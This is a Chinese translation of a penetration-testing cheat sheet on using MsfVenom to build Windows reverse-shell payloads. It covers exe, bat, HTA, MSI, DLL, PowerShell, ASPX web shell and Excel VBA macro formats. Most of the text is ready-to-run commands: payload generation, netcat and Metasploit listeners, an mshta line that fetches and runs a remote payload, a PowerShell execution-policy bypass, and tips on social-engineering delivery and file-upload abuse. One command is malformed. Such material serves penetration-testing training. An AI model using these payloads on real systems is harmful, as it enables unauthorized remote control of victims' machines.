导语:MsfVenom是Metasploit框架中的独立Payload生成器,是msfpayload和msfencode的替代工具。本文详细介绍如何使用它生成针对Windows平台的各种攻击载荷——从可执行文件(exe)到动态链接库(DLL),从HTA到ASPX,应有尽有。
一、环境要求
- Kali Linux
- Windows靶机
二、MsfVenom语法
MsfVenom是Metasploit独立的Payload生成工具,同时作为msfpayload和msfencode的替代品。

三、Payload及其类型
Payload是攻击者用来与目标机器交互并实现入侵的恶意脚本。MsfVenom支持以下平台和格式来生成Payload,输出格式可以是exe、php、dll等可执行文件,也可以是单行命令。
两大主要Payload类型:
Stager(分阶段载荷):以第二个斜杠标识,如 windows/meterpreter/reverse_tcp
Stageless(无阶段载荷):用下划线替代第二个斜杠,如 windows/meterpreter_reverse_tcp

四、可执行文件Payload(exe)
Payload类型:Stager
执行以下命令生成恶意exe文件,.exe是Microsoft Windows可执行文件的扩展名。
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f exe > shell.exe
所有恶意代码会写入shell.exe文件,在目标机器上作为exe程序执行。

通过社会工程学手段传播文件,等待目标执行。同时启动netcat监听,捕获反向连接。
nc –lvp 443

五、PowerShell批处理文件
Payload类型:Stager
执行以下命令生成恶意batch文件,.bat扩展名用于DOS和Windows系统。
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.3 lport=443 > shell.bat
所有恶意代码会写入shell.bat文件,在目标机器上作为.bat脚本执行。

通过社会工程学手段传播文件,等待目标执行。同时启动netcat监听。
nc –lvp 443

六、HTML应用程序Payload(HTA)
Payload类型:Stager
HTML应用程序(HTA)是微软Windows程序,源代码由HTML、动态HTML和一个或多个脚本语言(如VBScript或JScript)组成。
执行以下命令生成恶意HTA文件,.hta是DOS和Windows使用的扩展名。
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta
所有恶意代码会写入shell.hta文件,在目标机器上作为HTA脚本执行。使用Python HTTP Server进行文件分享。

在目标机器执行:
mshta http://192.168.1.3/shell.hta
HTA通过mshta.exe程序或双击文件执行。

这将通过netcat监听器获取反向连接。
nc –lvp 443

七、微软安装包Payload(MSI)
微软将Windows Installer称为Microsoft Installer。MSI文件提供某个安装程序的安装信息,如需要安装的程序。用户可以用它来安装Windows更新或第三方软件,类似于exe。
执行以下命令生成恶意MSI文件,系统在DOS和Windows中使用.msi扩展名。将恶意文件传输到目标系统并执行。
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f msi > shell.msi

使用msiexec命令运行MSI文件:
msiexec /quiet /qn /i shell.msi

这将通过netcat监听器获取反向连接。

八、动态链接库Payload(DLL)
Payload类型:Stager
DLL是包含可被多个程序使用的代码和数据的库。
执行以下命令生成恶意dll文件,.dll是DOS和Windows使用的扩展名。将恶意文件传输到目标系统并执行。
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f dll > shell.dll

使用rundll32命令运行DLL文件:
rundll32.exe shell.dll,0

这将通过netcat监听器获取反向连接。

九、PowerShell Payload(psh-cmd)
Payload类型:Stager
格式:psh、psh-net、psh-reflection或psh-cmd
psh、psh-net和psh-reflection格式生成的Payload扩展名为.ps1,psh-cmd格式生成的Payload扩展名为.cmd。你也可以直接在目标系统的命令提示符中直接执行原始代码。
msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.3 lport=443 -f psh-cmd > -f raw
执行以下命令生成恶意PowerShell程序的原始代码。

执行时,将生成的代码复制粘贴到Windows命令提示符中。
这将通过netcat监听器获取反向连接。

十、PowerShell Payload(ps1)
Payload类型:Stager
PS1文件是Windows PowerShell使用的脚本或”cmdlet”。PS1文件类似于.BAT和.CMD文件,但它们在Windows PowerShell中执行,而不是在Windows命令提示符中执行。
执行以下命令生成恶意PS1脚本,.PS1扩展名用于Windows PowerShell。
msfvenom -p windows/x64/meterpreter_reverse_https lhost=192.168.1.3 lport=443 -f psh > shell.ps1
由于反向Shell类型是meterpreter,需要在Metasploit框架中启动exploit/multi/handler。

PowerShell的执行策略是一项安全功能,控制PowerShell加载配置文件和运行脚本的条件。该功能有助于防止执行恶意脚本,阻止所有脚本文件运行,包括格式化和配置文件(.ps1xml)、模块脚本文件(.psm1)和PowerShell配置文件(.ps1)。
要执行PS1脚本,需要通过在Windows PowerShell中运行以下命令来绕过执行策略:
PowerShell –ep bypass
./shell.ps1

启动Metasploit:
msfconsole
use exploit/multi/handler
set lhost 192.168.1.3
set lport 443
set payload windows/x64/meterpreter_reverse_https
当目标执行shell.ps1脚本后,攻击者将通过meterpreter session获得反向连接。

十一、Web Shell Payload(ASPX)
Payload类型:Stageless
ASPX文件是微软ASP.NET平台的Active Server Page Extended文件。当访问URL时,这些页面会显示在用户的Web浏览器中,.NET Web表单是它们的另一个名称。
执行以下命令生成恶意aspx脚本,扩展名为.aspx。
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.1.3 lport=443 -f aspx > shell.aspx

由于反向Shell类型是meterpreter,需要在Metasploit框架中启动exploit/multi/handler。
如果目标是IIS Web服务器,可以利用不受限制的文件上传漏洞来注入此Payload。

在Web浏览器中执行上传的脚本。

msfconsole
use exploit/multi/handler
set lhost 192.168.1.3
set lport 443
set payload windows/x64/meterpreter_reverse_https
攻击者执行恶意脚本后,将通过meterpreter session获得反向连接。

十二、Visual Basic Payload(.vba)
Payload类型:Stageless
VBA是开发者常用的文件扩展名,与Visual Basic相关,支持微软应用程序如Microsoft Excel、Office、PowerPoint、Word和Publisher。用户用它来创建在Excel中运行的”宏”。攻击者利用这些特性,创建恶意VB脚本作为宏程序与Microsoft Excel一起执行。
执行以下命令生成恶意脚本,扩展名为.vba,可以在Microsoft Excel中作为宏执行。
msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.1.3 lport=443 -f vba

然后打开包含恶意宏的工作簿。宏执行的详细方法在之前的文章中有说明。

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.1.106
set lport 1234
exploit
攻击者执行恶意脚本后,将通过meterpreter session获得反向连接。

出处:本文译自 Hacking Articles,原始文章《MsfVenom Cheatsheet: Generating All Types of Payloads》,作者 Aarti Singh。














暂无评论内容